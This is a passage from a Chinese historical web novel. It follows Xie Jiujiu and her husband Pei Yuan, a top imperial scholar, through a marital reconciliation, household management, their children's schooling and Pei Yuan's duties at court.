谢九九这会儿其实已经不怎么生气了,不光不生气甚至还有点儿心虚。她也知道自己那天拿状元楼把裴元哄得有多高兴,今天就让他有多生气。 要是换做自己是他,这会儿人都得给他拆了。但堵在心里那口气就是下不去,谁来劝说都不好使。 “那以前在容县的时候,人人都说他裴元是你谢九九的姑爷时,人家可没这么想。” 于氏确实是没明白谢九九在意的到底是什么,在她心中自己就是沈霁的妻子两个孩子的母亲,沈霁中了进士自己便是进士娘子,这怎么能说什么都不是了呢? 但不明白归不明白,她也没想非要跟谢九九掰扯个分明的意思。 自己跟她本来就是完全不同的两个人,即便谢九九抛下一切事事以裴元为先,哪怕自己扔下老家的一切再不管公婆和爹娘有意无意的抱怨和不满,也要跟着来京城不再回家。 “他的倚仗是他的学识,书读进心里了就谁也抢不走。我的倚仗是云客来,云客来没了我心里就发虚……” 谢九九盯着把玩在自己手里小巧玲珑的茶盏,嘴里说着绕圈子的话,听得于氏想笑又不好意思笑,只得直起身子冲谢九九身后招招手。 “状元郎既来了,我这外人再留着就不合适了。你来你来,九九这话不该跟我说,你俩有什么话赶紧的说明白,省得阿满一天八遍的问我,她爹他娘这是怎么了。” 于氏走得潇洒干脆,留下裴元和谢九九隔着桌子和烛火一个站着一个坐着,谁也不肯先低头。 谢九九整个身子都往里侧歪着,只有白皙漂亮的颈子往外斜着,半垂着的目光正好能顺着烛火的影子看见裴元的靴子和袍子,还有自己做的荷包,与荷包上依旧绣工很勉强的并蒂莲。 不敢抬头,不想让裴元知道自己在偷偷看他。但即便是不看他那张脸,也能猜到裴元现在脸上的表情有多愤愤委屈。 “偷看什么,人家外边的女娘看我都明晃晃的,你这正主怎么还不敢了?” 两人斗气总有一个要先服软,裴元坐在书房的时候,心里跟自己说了一百遍自己是个男子本就该让着妻子,依旧拗不过心里那股劲儿。 直到这会儿看见谢九九理直气壮又可怜兮兮的样子,心一下子就彻底软下来,“能不能告诉我为什么非要把状元楼那块匾收起来,我想听你亲口跟我说。” “谁明晃晃的看你了,是谁家的姑娘?”可惜,两人的重点压根没在一个点上。谢九九猛地一抬头,眉毛都要挑飞了,“什么时候的事情,之前怎么没跟我说。” “你看你看,都小气成这样了,还非把我的状元楼给撤了。” 裴元见谢九九这幅做派嘴角就忍不住往上扬,“是三天前徐裂云的飞觞局,叫了好些乐女来作陪,我是状元郎她们个个都要往我这儿多看几眼。” “我没让她们近身,怕染了脂粉气回来被你知道。” “要没有今天的事,这事你就打算瞒过去了是不是。” 谢九九有些不高兴地拿手指戳在裴元腰上,十分不满他瞒着自己这件事。 “那我要是今天不去店里,你是不是也打算一直瞒着我匾的事。”裴元一点儿也不大方,锱铢必较地继续追问谢九九。 “我跟你不一样。”谢九九终于站起身直视裴元,“外边都说你可惜了,当年要是再等一等就能等到关家人去容县找你,也不必为了考试的银子入赘给我。” “明明是你自己答应的入赘,明明我俩成婚孩子都有了,凭什么他们一句可惜就说得我占了你多大的便宜一样,我就像个贼!把你这个三元及第的状元郎给偷了!” “那也是我愿意的,他们说什么跟你我有什么关系。” 原来症结在这儿,裴元心里那颗酸溜溜气鼓鼓的心一下子就平复下来。原来跟谢九九做夫妻,不止自己一个人患得患失,这样的滋味真不错。 “他们只看见我人前风光显贵,状元府邸那么好那么大。 却没见过我浑身上下凑不出二两银子的样子,老宅那房子雨天漏水晴天漏风,住在里面每天一睁眼最怕的就是老高跟我说,今天又有哪里漏水要补。 他们不懂我,你却不能伤了我的心。” 现在再说起当年的事,裴元甚至还能笑出来。谢九九却终于绷不住落下泪来,憋在心里说不出的苦和着眼泪一起往外淌,生生把裴状元的衣襟都哭湿了。 稀里糊涂趴在裴元身上哭了一场,哭得比当初亲娘要把自己从家里分出去还撕心裂肺,唬得裴元一晚上抱着谢九九没敢撒手,就连半夜起夜,都牵着她让她坐在捎间外头等着自己。 小小一个停云斋里闹得再吓人,第二天的日头也照样升起来。睡得昏昏沉沉的谢九九早就醒了,就是不愿意睁眼,昨天自己那动静闹得那么大,太丢人了。 她不起床,裴元也就跟着赖。连着睡了两个回笼觉,直到听见两人的肚子都咕咕直响,实在躺不住了这才抱着谢九九从床上坐起来。 “还不打算起床吃饭?阿满可已经偷偷进来看咱们好几回了。” “吃不下。” 谢九九口是心非,软了骨头一样趴在裴元身侧,双手紧紧箍着他的手臂,“你看看我眼睛是不是肿了?” “肿得挺厉害的,今儿别出门了。”裴元手背比手心凉,抬手把手背轻轻贴在谢九九眼睛上,“我今天也不出门了,就在家陪你。” “那不行。”气生过了,话虽然没有说得那么直白,但意思就是那么个意思,堵在心里的那口气不知不觉就散了个干净,“我今天还得见人呢。” “见谁啊,云客来有老潘他们看着,你不用天天过去。”也不能天天过去,裴元如今已经授了官,他不能从商,谢九九作为他的妻子最好也不要从商。 所以虽然她是东家,但京城云客来的掌柜其实是老潘。谢九九如今也成了旁人嘴里的太太奶奶们,再不能做天天守在饭馆里的谢大娘子了。 “不去云客来。”谢九九对此倒是不反感,人嘛总是在往前走的,哪能一辈子就守着一个小馆子呢。万一以后自己有本钱再看别的饭馆了,难道自己还能分身不成。 “我有件事是不是忘了跟你说。” “什么事?” 谢九九抬头去看有些神情有些懵的裴元是真心虚了,昨儿光顾着吵架,该说的正事反而忘得一干二净,这下可完了。 “我说了你可不许跟我着急。”谢九九伸手握住裴元的腕子,另一只手覆在他心口来来回回的摩挲着。 “你说你说,你先说我听听。”裴元忍不住挑起眉峰,这么多年夫妻了谁还不知道谁,哪能这么容易让谢九九糊弄过去。 “就是、就是我月事上个月没来,这个月又没来,怕是又怀上了。本来昨天想跟你说,请个大夫回来瞧瞧,谁知你回来就那副凶神恶煞的样子,你一吓唬我我就忘了!” 第106章 第106章谢阿福 问:什么日子过得最快。 答:安逸的日子过得最快。 温柔乡英雄冢,这话半点不错。 之前的那些一路过来的辛苦都成了幻梦,就连容县一到春天就淅淅沥沥下个不停地春雨,和一下雨就晒不干要发霉的衣裳,都仿佛成了很久很久以前的事情。 家里送来的家信里,已经没有了谢九九当年刚离家时的眷念和尴尬,容县的云客来听说生意越发的好了,大家的日子都在不紧不慢地往前走着。 现在的谢九九已经很习惯春天非但不下雨,反而干得天天早上煮绿豆汤晚上炖冰糖雪梨的日子。 春日里偶尔出门会友或是去饭庄里必须带上青纱遮面,要不然出门回来就是满脸满头的沙,必须从头到脚都洗上一遍。 “娘,昨天小舅舅派人送帖子来了,说是要请我去城外的别院里住几天,躲一躲风沙。” “他还下帖子,不是前儿才从咱们家回去的,有什么话前天不能说?” 关继业今年虚岁十二了,关如琅已经定下了明年让他下场考童子试,没想过他一次就能过,只是让他去感受感受考场的氛围。 不过再是这么说,这段时间关继业的功课也比之前要多了不少。他现在的先生是沈霁,别看沈霁平时干什么都不紧不慢温和得很,真到了要紧的时候他可比谁都能咬牙较劲儿。 当年殿试结束之后,已经成了进士的沈霁又咬牙生扛了将近一个月,几乎天天泡在关如琅的西院书房里,才成功过了翰林院的馆选。 过了馆选的进士入翰林院为庶吉士,不授实职。按照正八品文官的待遇发放俸禄,每月二两银子。 二两银子什么个意思,谢九九新开的状元楼里头的跑堂一个月还有一两银子的月钱。再加上客人们偶尔给的赏钱,一个月绝对不止二两。 京城大居不易,一根柴火一口水都要花钱。沈霁选上庶吉士高兴是高兴,但高兴完了就全剩了发愁。 沈家的家业说小不小,说大也就只这么大。这次来京城加上家里给的和沈霁于氏夫妻自己攒的,一个不过六百两银子。 路上带着两个孩子吃穿住行就花了一百多两,到了京城住在客栈过了个年又花了几十两。后来被裴元接到家里,又在关家住了一段时间倒是省了不少房钱。 这些都是权宜之计,出门在外一时安顿不下来靠朋友周转接济不丢人,如今进士考中了,翰林院也如愿选进来了,总该归置一个自己的家了。 沈霁也得每天去翰林院点卯,找房子自然不能找远了。拜托关家的管事找了官牙人找了大半个月,才在西城找到一个价钱大小都合适的小院子。 院子只有一进,好在院子后面有一片不小的空地和一排后罩房,完全足够沈霁一家四口带几个奴仆住下。 价钱从开价的四百两还到二百八十两,本来二百六十两也行。那宅子里带着一口井,虽不是甜水井但日常洗衣干活总要方便不少,为了这份方便沈霁又多出了二十两。 宅子买了就要张罗搬家,破家值万贯这老话真真是有道理。 从老家出来的时候,于氏这也带不了那也装不下,一路从容县到京城,隔三差五就觉得自己带来的东西太多太杂。 现在真买了宅子要踏踏实实住下了,才发现怎么这也没有那也没有,就连一个顺手的铁锅和锅铲都得现买。 一样两样的不起眼,桩桩件件地置办起来又是一笔不小的花费。手里的银子只看见淌水一样往外花,入的却还是只有沈霁考中进士那阵子,同乡富商士绅们送的贺仪。 沈霁本想再接点儿给人写墓志铭或是牌匾的活儿,可去翰林院赴任的时间很快就到了。家里的事再忙也只能暂且搁到一旁,安心去翰林院点卯上课。 庶吉士入翰林院不光要学着起草文书整理奏疏档案,还要上课。给庶吉士上课的都是翰林院的老翰林们,诗经子集史书典籍都要细细研读,除了必须要交的策论,每三个月还要考核。 考核成绩记录下来,等三年之后散馆之时这些成绩都会成为考核的依据,好的留下来任编修或检讨,不好的外任围观,这一去什么时候才能回京就不好说了。 入了翰林院还有这么多事情和考试等着,要沈霁分心另谋赚钱的门路着实很难。幸好关如琅早就贼上了沈霁,请他给关继业继续当先生。 平日只教关继业一人,每日关家会差人把关继业送去沈霁那里。沈霁闲时把功课布置下来,关继业就跟沈风岐一起读书。等沈霁回来了,再来批改查阅这俩小子的文章功课。 有道是一物降一物卤水点豆腐,之前关如琅一有时间就死磕儿子,也没能让他在读书这件事上开窍。 现在沈霁每天卯时不到出门,酉时过了才能回家,三两天才能腾出空来给关继业授业批功课,偏偏关继业比之前读得更加用心,写出来的文章也渐渐通了关窍。 为此关如琅给沈霁这个老师的束脩十分大方,每月十两银子,一年四季衣裳鞋袜该准备的准备好,隔三差五往沈霁那里送米面菜肉,总之沈霁就成了关继业正儿八经的授业恩师,家中每年多了这一百多两银子,也不再捉襟见肘。 三年时间一晃而过,关如琅开始计划让儿子下场考试,沈霁这个当先生的自然要腾出时间来抓紧时间给关继业紧紧皮子。 从去年年底到开春,翰林院的官员除了轮值都能休息十五天。关继业却只休息了三天,除了大年三十,便是正月初一和初二,初二那日还是因为要去杨府,关如琅才格外开恩多许了一天,要不然拢共就能休息两天。 “再说他爹不是又给他每天加了一篇策论,他哪有时间去城外别院。” “是杨家老太太病了,好像说今年春天特别干,老太太年纪大了受不住风沙,就带着杨府几个太太夫人们一起去了城外。” “五舅祖母也要跟着去,又说杨家老太太想外孙了,要把小舅舅一起带了去。” “本来五舅爷不肯的,是府里老太太听说了,把五舅爷叫到颐寿堂去骂了一顿,小舅舅就能去了。” 东一个老太太西一个杨老太太的,听得谢九九直头疼。反倒是已经在京城住了三年,比自懂事以来住的容县时间还要更长的阿满,更加适应现在的生活。 阿满今年七岁了,八岁不同席,原本还老跟在关继业和沈风岐屁股后头去沈家读书认字的小姑娘,去年已经有了自己的先生:在老家送走了亡妻的白鹤川。 他妻子当年就是病入膏肓,白鹤川留在老家没进京赶考也不能救她的命,之后又拖了大半年人还是没了。 白鹤川葬了妻子,安顿好已经娶妻成家的儿子。之后便把手头能卖的都卖了,只身一人往京城来。他这辈子只剩下一件必须坚持下去的事情,考出一个结果来。 来了京城,当年那个古板得甚至带着几分朽木气的白秀才,居然主动找到裴元门上。甚至还笑着跟他说沈家地方太小,自己就只得来投奔裴元。 裴元中状元的那一年年底,谢九九生了个儿子,取名谢明峦。去年年底刚过完两岁的生日,现在也算是虚岁三岁的小胖子了。 阿满越长大眉眼五官就越发像她爹,眉眼英气锋利,就连发犟的时候紧紧抿起的唇微微往上扬的嘴角,都一模一样。 而谢明峦这个小胖子则长得像谢九九,一样的五官精致一样的脾气性情,才三两岁的小娃娃就争强好胜得很。 去年见姐姐阿满有了自己的先生,就说什么也要个先生。哪怕还没启蒙还不知道认字读书有多辛苦,他反正就是要。 状元府很大,跨院大半都还空着,只有最前面的院子被收拾出来做了客院。平时只有白鹤川长住在客院,其余便是潘掌柜谢有粮他们来府里,也都住在那边。 中间这一路前院是裴大人的书房,中间一进是正院,一家子起居坐卧都在正院。 最后一进临着小花园,一半被 谢九九改成阿满读书上课的地方,另一半改成了茶斋,有亲近的朋友和同僚,亦或是关如琅关宁业这样的亲戚过来,就直接往后头茶斋里来。 家里地方大,小名给取了阿福的谢明峦非要凑过去谢九九也不拦着。 坐得住就安安静静坐在一旁听,坐不住了就自己去小花园里玩儿。可就有一点,不许吵着姐姐读书,吵了闹了就再别想跟着去上课了。 小孩儿没那么懂事也没那么大的定性,谢九九跟他说的时候满口答应,等第二天跟着阿满去了后头书房,刚一上课就哼唧上了。 一下子说手冷要姐姐呼呼,一下子说坐得屁股疼要姐姐陪他出去玩儿。再不然就是厚着脸皮凑到白先生身边,要先生给他讲故事。 谢九九当然不可能真的放任阿福胡来,一直躲在窗户外边看着,等着阿福把能作的都作得差不多了,这才进去揪着这小子的衣领,从屋子里拖出来,拖到院子里狠狠打了一顿。 那一顿打挨得结实,谢阿福屁股肿了谢九九这个当娘的手掌也疼了两天。小孩儿哭得撕心裂肺,等裴元晚上从翰林院回来,扒了儿子的裤子一看,也心疼得跟着红了眼眶。 就连阿满都站在一旁扯着谢九九的衣袖说,弟弟吵了一点儿但是也不是太烦人,下回能不能不这么打了。 只有谢九九冷着脸说不行,自己的儿子不光模样像自己就连性情也像。争强好胜可以,但得有个度。 三岁定终生,谢九九得让他知道什么强能要什么强不能要,更加不能让他习惯了把作着性子磨来的东西当做理所当然。 他跟自己可不一样,自己的爹就是个县城里开饭庄的。谢阿福的爹却是本朝唯一一个还活着的三元及第的状元公。现在不把他的性子塑成个样子,等大了再去改,那就千难万难了。 道理人人都懂,唯一的区别就是裴元下不了手,但谢九九狠得下心。裴大人舍不得儿子又逆不了妻子的意,就只好装作什么都不知道,抱着连坐都不敢坐,只能趴在炕桌上的儿子去后头洗澡。 倒是阿满胆子最大心也最软,等阿福把打肿的屁股养好,她又偷偷把弟弟带去后院书房里上课去。 这次再进书房,阿福就彻底老实了。要么似懂非懂地跟着姐姐一起听白先生讲课,要么趴在桌上安安静静的睡。再不行就自己从门口溜出去花园子里玩儿,总之读书的地方不能吵闹这个规矩,是彻底刻进他骨子里去。 现在阿满接了关继业的帖子要去关家城外的别院玩儿,谢九九拦是没打算拦,就是抬手指了指正在院子里玩泥巴的儿子:“这小子呢,你带上不带上啊。” “带啊,不带上他一个人在家多没意思。到了那边还有凤岐和清姐姐都在,有人看着他。” 七岁的孩子半大不大,读了点书就觉得自己真成了大人。现在已经不愿意喊沈凤岐哥哥了,就得这么凤岐凤岐的喊,每次都能把沈凤岐喊得直翻白眼。 “行吧,那今儿晚上回来跟你爹说一声,明儿收拾收拾东西,我让春姨和关杰送你们过去。” “啊,还得跟爹爹说啊。” “那不然呢,你们俩说走就走了,你爹回来一看家里空了一半,你说像话吗。” “那行吧,那、那娘您得站在我这边,这次可不能再被爹爹哄了去了!” 第107章 第107章看什么呢,给我干活!…… 不怪阿满垂头丧气,要怪只能怪咱们的裴修撰这几年实在过于日理万机,简直比内阁的几个老大人还腾不出空。 谢九九见女儿这幅模样,想说别老挤兑你爹,可话到嘴边又没好意思说,毕竟这个府里最常拿裴元又忙又没钱来挤兑他的就是自己。 翰林院每月二十八发俸禄,三天前裴大人领了俸禄回府,从谢九九给自己做的荷包里掏了半天,才把这个月俸禄的八两银子,跟谢九九给的月例钱分开。 毕竟如今的裴大人没有自己的私房钱了,他现在跟府里众人一样,每月到点儿从谢九九那儿领月钱,可不能再把月钱给交出去。 他沾了是状元郎的光,每月的份例是府里最多的六两银子,比修撰大人每个月的俸禄只少二两,这是状元府定下来的规矩。 有状元府了,自然就得有个像样的规矩了。谢家其实以前挺有规矩的,至少谢九九自己这么认为。 直到在关家住过以后,谢九九才知道原来自己真的是那没规没矩的那一个。 再加上陛下御赐了一个状元府,光是为了这个宅子,谢九九都得把人给这个宅子配齐规矩立好,要不然岂不是辜负了皇恩。 谢九九说这个话的时候,刚把状元府第一个月的月钱全部发下去。 明明前一瞬对着家中奴仆下人还春风和煦的状元夫人,等人走光啪嗒一下就把脸色给沉下来。嘴里说着不能辜负皇恩,浑身上下都写满了:这么大个宅子,这么多的人太费钱太浪费了。 不过不怪谢九九这般精打细算得有些抠门,而是府里上下要养的人实在是越来越多了。 裴元往翰林院赴任之后,跟着他日常进出的人又换成了曹勇。曹勇从小跟着裴元读书,虽没读出什么名堂来,但识文断字还是会的。 翰林院那样的地方,大多数人都清高矜贵,那是一种说不出来的气质,一般的市井烟火气总是跟那地方不能摆在一起。 曹勇寡言,但心中清明,每天由他跟着裴元往翰林院去,把人送到了门口确定这一日上午没什么事要跑腿了就回来。 下午差不多到散值的点了,又得从家里过去。要是碰上天气不好,还得从马棚里让车夫把马车套上一起去接人。 其实翰林院离状元府真不远,但别人家都这么来接,那裴元身为状元下雨了都府里都没个人去接多少有些不像样。 裴元要把自己融入翰林院,成为翰林院三个修撰中很平常的那一个。 毕竟其他两个修撰,一个是上一科的状元,也是当年在南直隶的解元。还有一个是十年前名动江南的大才子,他作的诗或许等到某一天裴元和谢九九都老死了,也还会在这个世上流传。 翰林院最不缺才子,进了翰林院,裴元和谢九□□会的第一件事,就是不要出风头不要别具一格。人家怎么干自家就怎么干,这样才能在这条路上走得更长远。 为了这份长远,府里得多养一匹马和一个马夫,这里便是躲不过去的一份花销。 曹勇专门跟着裴元进出,家里前院的管事自然就成了高义。高义机灵,守着书房和门房两处,不管是迎来送往或是其他,都做得游刃有余。 但他一个不够,书房里得放一个书童,负责平日给裴元整理书籍文书和书房里的杂事。门房上要安排两个门子,负责看门和通报消息。 裴元的状元府是眼下京城最大的状元府,光凭这个谢九九每个月要赴的宴会酒席就少不了,这些人情往来都得先递帖子上门,没人看着可不行。 以前高义一个人就能包办的事,现在又莫名多出三个人去,就这高义还见天说前院人太少,天天哄着谢九九给他再多 加个机灵的小子跑腿。 关杰管着府里的杂事,采买和下人,总之除了裴元书房里的事情,其余的大事小情都归关杰管着。小事他自己处理,处理不了的往谢九九跟前回禀。 厨房还是覃妈妈管着,不过除了覃妈妈还多了两个十四五的小厨役给她打下手,要不然一大家子人的饭菜可做不出来。 覃妈妈的丈夫平日多做些杂活,除了厨房里的事情,花园子里的花花草草也是他在管着。幸好状元府的小花园不大,一个人打理就够了。 除了这些,府里还有三个做粗使活儿的婆子两个照顾孩子的嬷嬷和四个丫鬟。 几个丫鬟顶替了春儿的位置,贴身的衣物首饰账目针线四人平时都各有各的忙,出门的时候还得跟着谢九九一起,帮她把状元夫人的排场给撑起来。 就这都还没包括来客人或是过年过节的时候,从外面临时请来的帮工帮厨。光是这么老些人的月钱,一年下来就不是个小数目。 想起这些家里处处要花钱的地方,再想想裴大人每个月的俸禄,又想想都穷成这样全靠自己养着的裴大人,还忙得整天脚不沾地不着家。 谢九九便转头冲女儿特别‘和蔼和亲’的笑了笑,“阿满放心,这次要是娘肯定站你这边。” 娘最偏心爹爹,这是阿满懂事之后一直都知道的。爹爹回来得再晚,娘也会等爹回来了才睡觉。但是要是是自己和弟弟晚上到了该睡的时候不睡,就小心要挨打了。 把爹爹一个人扔在家里,自己跟娘和弟弟出去玩儿那更是不可能。 上次祖母带着自己和弟弟出城踏青顺便在城外住几天,娘去是去了,但第二天就把自己跟弟弟扔给祖母,一个人又急匆匆的赶回来了。 当时娘找的借口是怕两个铺子里有事找不着她耽误事,但阿满知道娘就是舍不得把爹一个人留在府里。 用娘的话说,爹天天在翰林院装孙子够可怜的了,回来还没个热乎劲儿,这日子过得还有什么意思。 虽然谢阿满还不大明白为什么在外人嘴里风光无限前途大好的爹,到了娘嘴里就成了天天装孙子的可怜倒霉蛋儿,但还是不妨碍她明白自己跟爹爹,谁在娘这里更要紧。 “娘,真的吗?那到时候可别爹一回来就又变了心意。” “放心吧,这次肯定不变了。” 阿满不太信她娘说的话,她觉得还是要等她爹回来,看看她爹这次准备怎么装可怜再说。 谁知今儿明明不用入宫轮值的裴大人又没能回来吃饭,谢九九看着女儿一顿饭的功夫扭头往外看了七八次的样子,总算给了句准话。 “等会儿让嬷嬷给你和阿福收拾东西,明天一早就出城,不用问你爹准不准了。” “我就知道娘最好了,娘最喜欢我心疼我了。” 阿满一听这话可算高兴了,三两下吃完碗里的饭就牵着还有半个小汤包没吃完,有点儿吃不下了嘴又还馋着的阿福回房去收拾东西。 “夫人,曹勇刚刚回来说,今晚上老爷进宫去了,让您不用等他。” “知道了。” 两个孩子有他们的事情要忙,谢九九也随着阿满自己去收拾。便是真缺了什么东西落下,别院那边也肯定有备用的。 倒是裴元这边更加不让人放心,这几年朝堂上的局势越发紧张了。陛下不知道怎么回事,除了把锦衣卫收拢在身边做心腹,现在朝堂上很大一批年轻的官员,也成了圣上优待的对象。 这些人里大部分出身寒门,亦或是家族没那么显赫的文官,其中裴元是最出挑显眼的那一个,哪怕裴元已经尽力在翰林院夹着尾巴做人了,却还是惹眼得很。 小部分人出身世家,却也多是家族衰落或是后继无力。 这是陛下的阳谋,你们这些臣子们不是要朋党相争吗,那我这个当皇帝的也竖一杆旗,这天下总有愿意给天子卖命,做真正天子门生的臣子。 斗吧,看看这世上到底是天子更厉害,还是你们这些读书人更精明。 人人都看得清楚,人人都挣脱不了这个旋涡。裴元更倒霉一些,作为三元及第的状元公,他甚至没有选边站的机会,他只能也只可能做一个‘忠君’的臣子。 忠君不是不好,至少每个月翰林院排入宫轮值的时候,裴元要轮的天数都排在前三。 翰林官除了要经筵侍讲编纂修史,日常还要协助内阁起草文书诏书,记录起居注写下帝王一言一行。即便是夜里也要留人在值房里守夜,以免半夜有什么紧急情况没人用。 本来今天不是裴元轮值,谢九九见他一直没回来正准备出门散散步顺便溜达到翰林院门口,去接那又没赶得上回家吃饭的裴修撰裴大人。 谁知还没起身,就接到他又被陛下召进宫的消息,这下彻底不用出门。谢九九绣鞋的鞋尖转了个头,本来要往外走的人直接进了卧房,卸了头上的簪环准备洗漱歇下。 而此时此刻坐在马车里往皇城赶的裴远舟,却是真心实意觉得这‘忠君’也没什么意思。 下午快要散值的时候,原本轮到今日留在宫里值夜的正七品检讨周既白,一脸狼狈颓丧地回了翰林院。听说是在御前做纪录的时候,陛下顺口问他什么话,对答地不好被狠狠训斥了几句,便赶了出来。 这种事,这一两年在翰林院不算少见。人家都说天子一怒浮尸千里,但要是天子每天都要怒个一两回,这事也就不叫事了。 刚开始,有人被陛下斥责训斥,翰林院的几个学士还会商量着不再让这人进宫轮值。一是为了陛下,二也是为了保全刚挨过骂的人。 但时间一长,发现翰林院从上到下就没有没挨过骂的,真要是被骂了就不进宫轮值,这翰林院的人就都别进宫了之后,这约定俗成的规矩也就没了。 挨骂归挨骂,轮到你进宫还得进宫侍奉左右。所以今天周既白回来大家伙连看都没多看他一眼,只有裴元这个临时被陛下点名要见的倒霉蛋儿,实在没忍住在路过他的时候翻了个白眼。 “裴远舟你什么意思。” “什么什么意思,我着急进宫,你别这个时候找不痛快啊。等会儿陛下问我为何到迟了,小心我再告你一状。” “你!” “你什么你,我桌上还有文稿没校对完,我进宫了你也别想走,留下干活儿!” 周既白,就是那个南直隶的解元,跟裴元同年的传胪。两人的关系一直不算好,周既白是个记吃不记打且不会私下动歪心思的人。 从刚开始的看着他就烦,到现在有事没事就愿意撩拨他炸毛儿,裴元现在是正经把他当个趣儿在逗弄了。 第108章 第108章您的事您别问我啊,又…… 当年殿试过后,裴元站在奉天殿外的丹墀下看着整个皇城,心中有种说不出的忐忑和激动。 如今踩着黄昏走进皇城,身旁跟着个领路的小太监,但从宫门到乾清宫暖阁的路,裴元闭着眼都不会走错。 他已经不好奇这个皇城的模样了,即便三年了他也只是在内阁值房和乾清宫、文渊阁这几个地方打转,那些自己没去过的地方裴元一点儿探究的兴趣都没有。 比起弄清楚这个皇宫里有几个宫殿几块砖,裴元更想能早点回家,九九说不定这会儿刚知道自己今晚上又回不去了。 裴元心中有些愤愤,这三年入了翰林院,压根不像外人想的那般轻松又清贵,相反事情堆堆叠叠摞在一起,仿佛什么事情都要会什么事情都要做,烦人得很。 史书要修,典籍要整理,前朝留下来的文书要一页一页的翻看,缺了的要补错了的要改,两厢对不上的地方还要再往前翻找依据,定下个调来。 这些也就算了,左不过就是在翰林院的史馆里踏踏实实坐上一整日。最头疼的还是入宫当值,对裴元来说真就是件极没意思的事。 不去不行,翰林官没有实权俸禄极低,每年除了俸禄之外的收入,要么自己在外头给人写墓志铭写寿序,要么便是每年地方官员送上来的冰敬炭敬。不多,一年到头五六十两银子。 唯一值钱的地方便是所谓的‘天子近臣’,世人都讲究香火情,哪怕如今性情一年比一年阴晴不定的帝王。 翰林官除了最上边几个大学士,中层的侍读、侍讲、修撰、编修们,到了御前也多是旁听,帮着内阁的阁老们起草文书诏书。 亦或是陛下想起什么了随口问上一句,翰林官们最好都能引经据典答得上来。要是一次两次问了又答不上来,那么这位翰林官从今往后的前程,就多 少有些危险了。 裴元运气好,亦或是皇帝多少舍不得自己赐下去的状元府打了水漂,至今还没碰上那些同僚口中晦涩偏门的问题。 皇帝问裴元更多的还是南地和他前些年的经历,甚至包括他是如何带着一驴车的货,往一个村一个村里去卖。 人人都觉得裴元是皇帝跟前的大红人,只有裴元知道这事压根跟红人不红人的不沾边。 不过是比自己在御前更自在更进退自如的人,出身都好到不足以跟陛下说清楚,一个鸡子一斗谷子能换多少油盐针线。 而比自己更加清楚,一石新米能换来多少陈米,青黄不接的时候该去山上弄些什么东西更能换钱的人,又不如自己放得开。 毕竟为了能在陛下跟前把做行商的帐算明白,告诉这位连手指上都没半分茧子的陛下自己卖那些三瓜两枣到底怎么赚钱,裴元能把谢九九挂在腰间巴掌大的金算盘偷偷拿了来,带进宫中一针一线地给陛下算清楚。 算完了,裴元也被脸色有些难看的陛下给轰出宫来。 那天也是傍晚就要散值的时候,裴修撰在御前挨了骂自然也得有人替他顶上。就是那么凑巧,翰林院史馆里徐裂云和林怀瑾都不在。 就连因为在庶吉士中表现优异模样又极为出色拿得出手,而得了每月一次进宫轮值机会的沈霁也不在。 那天唯一能替裴元入宫的只有周既白,这事都过去近两年了,裴元依旧记得周既白当时那副带了点儿幸灾乐祸又掺杂了些担忧的表情。 幸灾乐祸是因为自己这个御前的红人终于也被陛下骂了,担忧的是怕自己这个时候顶上去,也讨不了好果子吃。 再说身为上一科的传胪,馆选时以排名第一的成绩考进来之后,不管是每一季的考核还是平时学士们交代下来的文书史籍整理,他都是做得最用心最仔细的那一个。 周既白的桀骜向来收放自如,或者说大部分时候他的所有不服气都只冲着裴元一个人来罢了。 对旁人还算春风和煦的周既白当时已经连着七八天没回家吃饭了,本来那天早上出门前,已经一再跟家中妻儿保证,今日肯定散了值就回家,哪里能想到还会被裴元横插这一杠子。 周既白的脸色很精彩,裴元多少有些理亏。抬手在鼻梁上状似无意地摸了摸,干巴巴的安抚了他一句说不定皇上今儿不留你值一整夜,便让史馆的书吏把周既白搬去庶常馆的书籍文书又拿去自己的办公房。 那天也是踩着夕阳进宫的周既白,在御前跟陛下聊了大半夜的诗词歌赋琴棋书画,聊到最后天光泛白,才头轻脑重地从宫里出来。 裴元不清楚也不在意这些,陛下愿意听市井民生是好事,即便听不明白即便不耐烦,听完了还得招个芝兰玉树的雅致人儿进宫去换换心绪,也总比不听要好。 这些事都是裴元进了翰林院,在陛下身边轮值久了之后才慢慢领悟出来的。没有人生来就非要做一个阴晴不定昏聩无能的君主,很多事情归根究底还是三个字:不得已。 一路入宫,裴元心里想着这些有的没的想了一路。如今自己在翰林院的日子,过得也颇有些不得已。 踩着最后一抹夕阳,裴元入了内殿的暖阁。只这一瞬裴元后脊梁骨就窜起一股鸡皮疙瘩,因为暖阁里除了皇帝还有首辅大人和严学士在。 怪不得周既白今天虽不情不愿,却也没非要跟自己较劲儿。感情这人知道今天入宫不是好事,这是多少有些心虚了。 “来了?来了就坐下吧,别耽误拟旨。” 暖阁里的书房并没有老百姓想象中的那么大,裴元甚至觉得此刻屋子里的人有点儿太多了,多得连喘气都有些逼仄压迫。 书房里没有起居注郎在,裴元乖巧主动地坐到本该属于起居注郎的小桌子后头,研磨提笔把夜间帝王的一言一行本本分分的记录下来。 至于之后这些言行会不会写入《实录》中,这不是裴元该操心的事。 而陛下所说的拟旨他更是不着急,这个时辰骂了个翰林官又换了个翰林官进宫,要是这道圣旨是轻易就能拟出来的,自己这会儿就该靠在家中卧房的躺椅上,腿上坐着谢九九,而不是在这里空耗时光。 今日陛下和内阁争执之事其实很简单,就是皇帝年岁渐长,突然起了思乡之情,想要圣驾南巡去南直隶祭祖。哪怕陛下本就出生在京城,这辈子其实都没去过南直隶,甚至连南边的口音都听不太懂。 这事前几日在大朝会上的时候已经提过一次,裴元这个六品的修撰还没资格上朝,这都是下朝以后从同僚那儿听来的。 翰林院地方说小不小说大也不大,至少裴元就还没有单独的办公房,三个修撰共用一个大屋子,再加上打杂帮忙的书吏,别说朝会,便是整个京城有什么新鲜事也能很快就知道。 上一次南巡,已经是先帝在位的时候了。如今的陛下继位艰难,继位后那几年还在一门心思的收拾先太子和齐王,甚至于先帝留下来的老臣和余孽。 把那些人收拾干净了,北边又有戎酋来犯。朝廷派军二十万讨伐戎酋,原本以为是一场战就能解决后患的事情,却不知为何打成了僵局。 那几年北边打得艰难,整个朝廷的钱粮和军力都被牵扯住,那个时候皇帝要说想出巡,那就是擎等着被御史们骂死。 后来好不容易把戎酋给打服了,一朝天子一朝臣的大家伙这才腾出功夫来互相争斗。 党争的根子就是从那个时候埋下来的,那十来年陛下正沉浸在拉拔这个打压那个的乐趣中,当时让他离京他也不会走。 那个时候的帝王真切的觉得整个天下和天下人都在自己股掌之间,朝堂就是他一个人的棋盘。什么风云诡谲什么步步小心,对他来说都是游刃有余的事情。 